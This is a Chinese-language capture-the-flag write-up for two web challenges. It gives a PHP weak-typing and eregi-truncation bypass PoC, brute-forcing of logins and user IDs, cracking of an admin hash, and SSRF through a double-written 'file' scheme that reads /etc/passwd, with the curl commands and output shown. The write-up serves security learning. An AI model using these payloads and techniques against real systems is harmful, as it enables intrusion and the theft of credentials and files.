

双流一大学酸菜鱼

easyweb

就直接代码设计，考察了php弱类型和函数的特性

```
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);//json编码
if(is_array($a)){
    is_numeric(@$a["bar1"])?die("nope"):NULL;//判断是纯数字或数字字符串
    if(@$a["bar1"]){
        ($a["bar1"]>2021)?$v1=1:NULL;//php弱类型绕过
    }
    if(is_array(@$a["bar2"])){
        //需要count($a["bar2"])==5和is_array($a["bar2"][0])有值，是or
        if(count($a["bar2"])!=5 OR !is_array($a["bar2"][0])) die("nope");
        $pos = array_search("nudt", $a["a2"]);
        //要求有a2，并且值中有字符串“nudt”
        $pos===false?die("nope"):NULL;
        foreach($a["bar2"] as $key=>$val){//循环
            //bar2中不能有字符nudt
            $val==="nudt"?die("nope"):NULL;
        }
        $v2=1;//需要
    }
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!=$d){
        //需要同时成立，即$c$d既相等又不相等，通过php弱类型绕过数组和字符串比较返回null
        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;//eregi函数有个%00截断漏洞
        strpos(($c[0].$d), "cstc2021")?$v3=1:NULL;
        // $c[0]和$d连接返回字符串cstc2021的位置
    }
}
if($v1 && $v2 && $v3){
    include "flag.php";
    echo $flag;
}
?>
```

poc: ?foo={"bar1":"2022a","bar2":[[1],2,3,4,5],"a2":"nudt"}&cat[1]
[]=111&cat[0]=12cstc2021&dog=%00

easyweb2

最开始通过扫描得到了路径 `swagger-ui.html`

```
[09:11:20] Starting:
[09:11:21] 400 - 435B - /./;/
[09:11:30] 400 - 435B - /\..\..\..\..\..\..\..\..\etc\passwd
[09:11:31] 400 - 435B - /a%5c.aspx
[09:11:44] 500 - 86B - /error
[09:11:44] 500 - 86B - /error/
[09:11:46] 200 - 11B - /index
[09:11:57] 200 - 90B - /swagger-resources
[09:11:57] 200 - 3KB - /swagger-ui.html
```

然后就经历特别多的测试，最后给了提醒使用token,而token是通过登录来获得的，这里就通过暴力破解了。成功暴力破解出test/test。

METHOD: GET SCHEME // HOST ["." PORT] [PATH ["?" QUERY]]

http://49.232.167.183:30012/login?password=test&username=test

length: 61 byte(s)

QUERY PARAMETERS [2]

HEADERS: Learn more from the HTTP specification

Form

BODY: XHR does not allow payloads for GET request.

Response

Cache Detected - Elapsed Time: 79ms

200

HEADERS: pretty

connection: keep-alive

content-length: 38 bytes

content-type: text/plain; charset=UTF-8

date: Wed, 05 May 2021 12:37:12 GMT -2s

keep-alive: timeout=60

COMPLETE REQUEST HEADERS

BODY: raw

Token: 63a44f5fd4368923e62469611d232a02

length: 38 bytes

在看提示说需要获得管理员的token。然后发现有一个user-controller,那可能是暴力破解出admin用户

user-controller User Controller

GET /uid CTFer用户管理

Parameters

Cancel

| Name | Description |
|-----------------|---------------------|
| Token | user ticket |
| string (header) | Token - user ticket |
| id * required | CTFer ID |
| string (query) | id - CTFer ID |

```
GET /uid?id=1 HTTP/1.1
Host: 49.232.167.183:30012
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Token: 63a44f5fd4368923e62469611d232a02
Connection: close

HTTP/1.1 200
Content-Type: text/html; charset=UTF-8
Content-Length: 11
Date: Wed, 05 May 2021 12:42:12 GMT
Connection: close

无效的id
```

成功暴力破解

Intruder attack 1

Attack Save Columns

Results Target Positions Payloads Options

Filter: Showing all items

| Request | Payload | Status | Error | Timeout | Length | Comment |
|---------|---------|--------|-------|---------|--------|---------|
| 987 | 987 | 200 | | | 247 | |
| 101 | 101 | 200 | | | 239 | |
| 0 | | 200 | | | 143 | |
| 1 | 1 | 200 | | | 143 | |
| 2 | 2 | 200 | | | 143 | |
| 3 | 3 | 200 | | | 143 | |
| 4 | 4 | 200 | | | 143 | |
| 5 | 5 | 200 | | | 143 | |
| 6 | 6 | 200 | | | 143 | |
| 7 | 7 | 200 | | | 143 | |

Request Response

Raw Headers Hex Render

```
HTTP/1.1 200
Content-Type: text/html; charset=UTF-8
Content-Length: 114
Date: Wed, 05 May 2021 12:42:59 GMT
Connection: close

{"用户ID": "987", "用户组": "系统管理员", "用户名": "ctf_admin", "HASH": "2773d5bd7e1a7a7eec619c6d5fbdfd3a"}
```

Type a search term 0 matches

Finished

{"用户ID": "987", "用户组": "系统管理员", "用户名": "ctf_admin", "HASH": "2773d5bd7e1a7a7eec619c6d5fbdfd3a"}

2773d5bd7e1a7a7eec619c6d5fbdfd3a解出为ctfer123!@#

所以用户名: ctf_admin/ctfer123!@#,重新登录。

DRAFT

Save as

METHOD GET SCHEME // HOST [":" PORT] [PATH ["?" QUERY]]

http://49.232.167.183:30012/login?username=ctf_admin&password=ctfer123!@%23

length: 75 char(s) 77 byte(s)

QUERY PARAMETERS [2]

HEADERS

Form

BODY

XHR does not allow payloads for GET request.

Response

Cache Detected - Elapsed Time: 40ms

200

HEADERS

pretty

BODY

raw

```
connection: keep-alive
content-length: 38 bytes
content-type: text/plain; charset=UTF-8
date: Wed, 05 May 2021 12:49:54 GMT -2s

Token:9c618e664319512ef7db2d3c0672bee0
```

获得管理员Token:9c618e664319512ef7db2d3c0672bee0

然后提示还说关注/home/index接口，猜一猜肯定是ssrf啦。这里经过fuzz出过滤了file，所以通过双写绕过。

```
root@kali:~/桌面# curl -X GET "http://49.232.167.183:30015/home/index?url=filfile:///etc/passwd" -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0"
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlpix:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucpx:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinapt:x:100:65534:/:/nonexistent:/usr/sbin/nologinmessagebus:x:101:101:/:/nonexistent:/usr/sbin/nologin
root@kali:~/桌面#
```

成功获得flag

```
root@kali:~/桌面# curl -X GET "http://49.232.167.183:30015/home/index?url=filfile:/// " -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0"
..dockerenvbinbootctfdevetchomeliblib64mediamntoptprocrootrunsbinsrvstart.shsystmpusrvar
*[[A^C
root@kali:~/桌面# curl -X GET "http://49.232.167.183:30015/home/index?url=filfile:///ctf/" -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0"
ctf-0.0.1-SNAPSHOT.jarftp
^C
root@kali:~/桌面# curl -X GET "http://49.232.167.183:30015/home/index?url=filfile:///ctf/ftp/" -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0"
flag.txt
^C
root@kali:~/桌面# curl -X GET "http://49.232.167.183:30015/home/index?url=filfile:///ctf/ftp/flag.txt" -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0"
flag{0102d47cee495efcb7c4e3977b04e715}
^C
root@kali:~/桌面#
```